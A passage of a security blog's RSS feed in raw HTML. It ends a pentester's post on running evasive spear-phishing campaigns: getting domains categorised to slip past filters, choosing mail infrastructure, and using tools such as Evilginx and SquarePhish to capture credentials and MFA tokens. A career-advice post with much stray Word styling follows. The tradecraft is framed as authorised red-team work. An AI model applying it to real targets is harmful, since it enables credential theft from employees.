/&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;Properly categorize the domain&lt;/i&gt;: make sure the phishing domain is 
included in a category rated as low risk, such as Blog, 
business, computing, etc. This is important because organizations block 
domains that are either unclassified or ranked as malicious, which efficiently thwarts
potential attacks (ever happened to try visiting a page only to receive a message such as &quot;t&lt;span&gt;&lt;span class=&quot;c1tjc3o4&quot;&gt;&lt;span class=&quot;q-box qu-userSelect--text&quot; style=&quot;box-sizing: border-box;&quot;&gt;&lt;span style=&quot;background: none;&quot;&gt;his page is unavailable due to policy restrictions&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&quot;?). Without a proper domain categorization, all the hard work going through the 
target organization&#39;s defenses could be totally useless. For this reason, after 
uploading real contents to your website, submit its URL to databases 
such as &lt;a href=&quot;https://sitelookup.mcafee.com/&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;.
 Go ahead with your efforts only after your domain receives the correct 
categorization from multiple databases. Below is an example of an email received for a 
successful categorization request.&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguHioTRFJAFcMrJ-7bYZ2hhq0T-EO1C6yyCxfxfYSe7WxpTKMcivjtuAe4qSaYAWt_0X5Qdd41zfM_lTAfSrxPGQW46VfViHQvj4ujgAU0rXO7h43V8aUYuMVHHNA-X5QFgLUCVkaX31ReAkxQReDN5IHI-c-jDoi_25IVM7TBQRbWpHjvatPaNfxlJhmn/s2836/Monosnap%20URL%20Classification%20Change%20Request%20--%20Support%20Ticket%20Number:%20954938%20-%20infosecstark@gmail.com%20-%20Gmail%202024-10-06%2013-43-28.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;669&quot; data-original-width=&quot;2836&quot; height=&quot;150&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguHioTRFJAFcMrJ-7bYZ2hhq0T-EO1C6yyCxfxfYSe7WxpTKMcivjtuAe4qSaYAWt_0X5Qdd41zfM_lTAfSrxPGQW46VfViHQvj4ujgAU0rXO7h43V8aUYuMVHHNA-X5QFgLUCVkaX31ReAkxQReDN5IHI-c-jDoi_25IVM7TBQRbWpHjvatPaNfxlJhmn/w640-h150/Monosnap%20URL%20Classification%20Change%20Request%20--%20Support%20Ticket%20Number:%20954938%20-%20infosecstark@gmail.com%20-%20Gmail%202024-10-06%2013-43-28.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp; &lt;/li&gt;&lt;li&gt;&lt;i&gt;Use credible servers&lt;/i&gt;: in a real-world assessment, I&#39;d use something like an Office365 account to send the emails from my &quot;clean&quot; domain, and they will most likely go through. However, in my demo I&#39;m going to use a Gmail account cause it can be set up more quickly. &lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;Install and configure phishing software&lt;/i&gt;: For non-evasive gigs, the set up used to send phishing email includes &lt;a href=&quot;https://getgophish.com/&quot; rel=&quot;nofollow&quot;&gt;GoPhish&lt;/a&gt;, in combination with a sending service such as &lt;a href=&quot;https://www.mailgun.com/&quot; rel=&quot;nofollow&quot;&gt;Mailgun&lt;/a&gt;. For evasive gigs, though, the set up must be different. In fact, Mailgun IPs are often blacklisted because a lot of people use them for spamming purposes. I was very successful adding an aged domain to Office365 and creating a custom user to send emails from such domain. For evasive gigs, a very common tool is &lt;a href=&quot;https://github.com/kgretzky/evilginx2&quot;&gt;Evilginx&lt;/a&gt;, a reverse proxy allowing to clone a page belonging to the target organization and use it to steal user credentials, including MFA tokens. I&#39;m not gonna delve with Evilginx here, even because some peculiarities with the client&#39;s network environment led me to prefer another tool, called &lt;a href=&quot;https://github.com/secureworks/squarephish&quot; rel=&quot;nofollow&quot;&gt;SquarePhish&lt;/a&gt;, that I&#39;m going to demo.&amp;nbsp;&lt;/li&gt;&lt;li&gt;&lt;i&gt;Personalize and improve email template&lt;/i&gt;: Before kicking off the campaign, it&#39;s paramount to work on the email template, to make sure it looks credible enough to convince a user to unconditionally click the link. That requires a lot of OSINT and hard work, other than attention to details.&amp;nbsp; An error here could compromise the final outcome of the campaign. You can assess how likely your email template can go undetected by using tools like &lt;a href=&quot;https://www.mail-tester.com/&quot; rel=&quot;nofollow&quot;&gt;Mail Tester&lt;/a&gt; or &lt;a href=&quot;https://spamcheck.postmarkapp.com/&quot; rel=&quot;nofollow&quot;&gt;Spamcheck&lt;/a&gt;. The higher the score the better the email template.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1qxLZf4NXsLrAvl2NawYhAmH1jbblDchP8F1SZSZaBweiPUMTTO-ypykcrBMO3i_uP7ccyH3K7ZYTvjU2oKgorAMwKbdwQCmg4UMM4CJYnNnOMErTJfGrtiZlKqIk7Y8joq0Kf9qW1BX0MrjQMFyMQmgykCQMCXUteVKvRjLOzqvk5VVPj6Pf9oWlbDoG/s2584/Monosnap%20Newsletters%20spam%20test%20by%20mail-tester.com%202024-10-06%2016-46-15.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1838&quot; data-original-width=&quot;2584&quot; height=&quot;456&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1qxLZf4NXsLrAvl2NawYhAmH1jbblDchP8F1SZSZaBweiPUMTTO-ypykcrBMO3i_uP7ccyH3K7ZYTvjU2oKgorAMwKbdwQCmg4UMM4CJYnNnOMErTJfGrtiZlKqIk7Y8joq0Kf9qW1BX0MrjQMFyMQmgykCQMCXUteVKvRjLOzqvk5VVPj6Pf9oWlbDoG/w640-h456/Monosnap%20Newsletters%20spam%20test%20by%20mail-tester.com%202024-10-06%2016-46-15.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;DEMO&amp;nbsp;&lt;/p&gt;&lt;p&gt;The tool I&#39;m going to demo, &lt;a href=&quot;https://github.com/secureworks/squarephish&quot; rel=&quot;nofollow&quot;&gt;SquarePhish&lt;/a&gt;, uses a technique combining the OAuth Device code authentication flow and QR codes. The victim receives an email containing a QR code that they should scan with their phone to renew their (allegedly) expired Microsoft Authenticator MFA token. After that, they receive another email with a device code to be entered at the related Microsoft login page. At that point, the phishing server will gather the user credentials submitted and save them to a file. Check the video for more details.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Wrap-up&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Here&#39;s what I learned from this experience:&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Evasive spear phishing is hard. Deploying the infrastructure the proper way is time consuming and challenging, so prepare ahead of time and don&#39;t rush through things. A small mistake could get your domain burned and the engagement go sideways before even getting started. Put the needed effort into getting as best results as possible.&lt;i&gt; &lt;/i&gt;&lt;/li&gt;&lt;li&gt;Don&#39;t waste&lt;i&gt; &lt;/i&gt;precious time insisting on solutions that are clearly not working and have back up solutions handy.&amp;nbsp; &lt;br /&gt;&lt;/li&gt;&lt;li&gt;Ask the client for clarifications as soon as needed.&lt;/li&gt;&lt;li&gt;Be as thorough as possible with your OSINT and leave no stone unturned.&lt;i&gt; &lt;/i&gt;This can be challenging when juggling multiple projects.&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;My last campaign was a nightmare but I ended up learning a lot from it. When I started seeing hits on my phishing server, I almost couldn&#39;t believe it and I felt very proud. I feel I could&#39;ve done better with the email template but multiple setbacks caused me to almost run out of time.&lt;/p&gt;&lt;p&gt;&lt;i&gt;FINAL LESSONS LEARNED&lt;/i&gt;&amp;nbsp;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;PREPAREDNESS: get started as soon as possible to account for technical issues, setbacks or client&#39;s slow response times.&lt;/li&gt;&lt;li&gt;CREDIBILITY: Be creative and try to put yourself in the target employees&#39; shoes. Were
 you to receive such an email, would you click the link or would you 
recognize potential red flags? The answer to this question can guide you
 to the best solution for the specific assessment. Don&#39;t forget spear phishing is based on social interactions, so some understanding of human psychology and social dynamics can go a long way.&amp;nbsp; As a result, it&#39;s a much more challenging task than a simple pentest, because it&#39;s about technical and social engineering knowledge at the same time.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;I feel I&#39;ve become a more well-rounded consultant after learning from my mistakes and being able to deliver regardless. This is surely another stepping stone towards red teaming, that shows how hard it is to get good at that.&lt;/p&gt;&lt;p&gt;I expect hardships but I also believe nothing is 100% impossible, and that&#39;s how I learned the (few) things I know.&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2024/10/tips-for-information-security.html</link><author>noreply@blogger.com (SavvyGeek)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/VNXl83XZ6Ak/default.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-7324998240403233044</guid><pubDate>Sat, 17 Aug 2024 21:36:00 +0000</pubDate><atom:updated>2024-08-21T20:24:50.259-04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">#pentesting</category><category domain="http://www.blogger.com/atom/ns#">cybersecurity</category><title>Tips for an Information Security Analyst/Pentester Career - Ep. 98 - 5 Unpopular Infosec Truths </title><description>&lt;div&gt;&lt;p&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Nowadays, on social media, on news channels and all over the place we are bombarded with &quot;experts&quot; and marketers complaining about a huge cyber security skills shortage.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;All these guys keep re-sharing and re-circulating the same pile of crap over and over through copy/paste without understanding a thing.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;This industry needs to face unpopular but necessary truths once and for all, like a sick man needing to chug down a bad medicine. Enough is enough.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;ol style=&quot;text-align: left;&quot;&gt;
  
&lt;iframe allowfullscreen=&quot;&quot; class=&quot;giphy-embed&quot; frameborder=&quot;0&quot; height=&quot;269&quot; src=&quot;https://giphy.com/embed/l3vRimg8c7ssGb172&quot; width=&quot;480&quot;&gt;&lt;/iframe&gt;&lt;p&gt;&lt;a href=&quot;https://giphy.com/gifs/gotham-fox-mad-city-l3vRimg8c7ssGb172&quot;&gt;via GIPHY&lt;/a&gt;&lt;/p&gt;


  
  
  
  
  
  
  
  
  &lt;li&gt;














&lt;span style=&quot;font-family: arial; font-size: 12pt;&quot;&gt;&lt;i&gt;No certification guarantees a cyber security job&lt;/i&gt;, even though
someone has the audacity to charge $ 5,000 for an OSCP bootcamp these days,
just based on this assumption.&lt;/span&gt;&lt;span style=&quot;font-family: arial; font-size: 12pt;&quot;&gt; Please cut this crap! &lt;/span&gt;If I was asked to hire somebody and I should choose
between a candidate having OSCP with zero experience and another one with a
longtime background as a help desk, I’d always pick the most experienced
candidate.&amp;nbsp; &lt;style&gt;@font-face
	{font-family:&quot;Cambria Math&quot;;
	panose-1:2 4 5 3 5 4 6 3 2 4;
	mso-font-charset:0;
	mso-generic-font-family:roman;
	mso-font-pitch:variable;
	mso-font-signature:-536870145 1107305727 0 0 415 0;}@font-face
	{font-family:Calibri;
	panose-1:2 15 5 2 2 2 4 3 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:-536859905 -1073732485 9 0 511 0;}p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-parent:&quot;&quot;;
	margin:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-type:export-only;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-type:export-only;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-type:export-only;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}.MsoChpDefault
	{mso-style-type:export-only;
	mso-default-props:yes;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;}div.WordSection1
	{page:WordSection1;}&lt;/style&gt;&lt;span style=&quot;font-family: arial; font-size: 12pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;Infosec isn’t only pentesting/hacking&lt;/i&gt;. There’s a
whole world out there beyond that, including blue teaming, IoT, ICS, DevOps,
you name it. Don’t narrow your focus unnecessarily. I started out as a SOC
Analyst and experiencing the other side of the house made me a better
hacker than I’d have been otherwise.&lt;/li&gt;&lt;li&gt;&lt;i&gt;Pentesting, and especially consulting, isn’t for
everyone&lt;/i&gt;. It’s a matter of hacking mindset and soft skills. Without those requirements,
sorry but it might not be for you. People who don’t know how this work is done
think we discover stuff out of magic. There’s one only secret in this industry:
never give up. Giving up is easy but gets nowhere. Most people overly rely on
automated tools and believe that, if the vulnerability scanner didn’t discover anything, there’s
nothing else to do, or that, if a page is protected by a WAF, there’s nothing one
can do to hack it. A hacking mindset implies the firm belief that anything can
get hacked, and there’s always something to discover. Tools like firewalls are
implemented by humans, and humans sometimes mess up and make mistakes. A hacker
needs to think of what a non-security-aware user might do, because this often sets
them up for the win. Remember, humans are lazy and they&#39;re always going to choose convenience over security. Especially for consulting roles, soft skills
are also important and much harder to be taught than technical skills. Knowing how
to deal with clients and communicate with them professionally is paramount to
make sure clients are happy and keep coming back. For this reason, IMHO guys having a
background as help desks/sysadmins can thrive in info sec, compared with other
guys having a different background, because they already know how to deal with
difficult clients and make them happy.





&lt;style&gt;@font-face
	{font-family:&quot;Cambria Math&quot;;
	panose-1:2 4 5 3 5 4 6 3 2 4;
	mso-font-charset:0;
	mso-generic-font-family:roman;
	mso-font-pitch:variable;
	mso-font-signature:-536870145 1107305727 0 0 415 0;}@font-face
	{font-family:Calibri;
	panose-1:2 15 5 2 2 2 4 3 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:-536859905 -1073732485 9 0 511 0;}p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-parent:&quot;&quot;;
	margin:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-type:export-only;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-type:export-only;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-type:export-only;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}.MsoChpDefault
	{mso-style-type:export-only;
	mso-default-props:yes;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;}div.WordSection1
	{page:WordSection1;}&lt;/style&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;The industry isn&#39;t as thriving as they let people to believe&lt;/i&gt;. I often see professionals of a level comparable to mine announcing on LinkedIn&amp;nbsp;they got laid off. Well, not so infrequently I see the same guys still unemployed after 6-8 months. I don&#39;t know what exactly is going on but I heard of situations when they have been asked to take a pay cut by potential employers, which is a huge red flag. Also, the harsh truth is companies don&#39;t want to hire people with zero experience, they want a superstar for an intern&#39;s pay, which is called being a user, where I come from. Clearly, these job postings go unfilled; people aren&#39;t as dumb as they&#39;d like for them to be.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;If one wants to stand out, create experience
from nothing&lt;/i&gt;: volunteer for hacking conferences, create a local hacking group,
start a technical blog, play around in your own lab, but avoid at all costs sitting
on one’s hands waiting for something to happen. Doing what 99% of people do will get what 99% of people get, i.e. failure.&lt;/li&gt;&lt;/ol&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;





&lt;style&gt;@font-face
	{font-family:&quot;Cambria Math&quot;;
	panose-1:2 4 5 3 5 4 6 3 2 4;
	mso-font-charset:0;
	mso-generic-font-family:roman;
	mso-font-pitch:variable;
	mso-font-signature:-536870145 1107305727 0 0 415 0;}@font-face
	{font-family:Calibri;
	panose-1:2 15 5 2 2 2 4 3 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:-536859905 -1073732485 9 0 511 0;}p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-parent:&quot;&quot;;
	margin:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-type:export-only;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-type:export-only;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-type:export-only;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}.MsoChpDefault
	{mso-style-type:export-only;
	mso-default-props:yes;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;}div.WordSection1
	{page:WordSection1;}&lt;/style&gt;&lt;style&gt;@font-face
	{font-family:&quot;Cambria Math&quot;;
	panose-1:2 4 5 3 5 4 6 3 2 4;
	mso-font-charset:0;
	mso-generic-font-family:roman;
	mso-font-pitch:variable;
	mso-font-signature:-536870145 1107305727 0 0 415 0;}@font-face
	{font-family:Calibri;
	panose-1:2 15 5 2 2 2 4 3 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:-536859905 -1073732485 9 0 511 0;}p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-parent:&quot;&quot;;
	margin:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
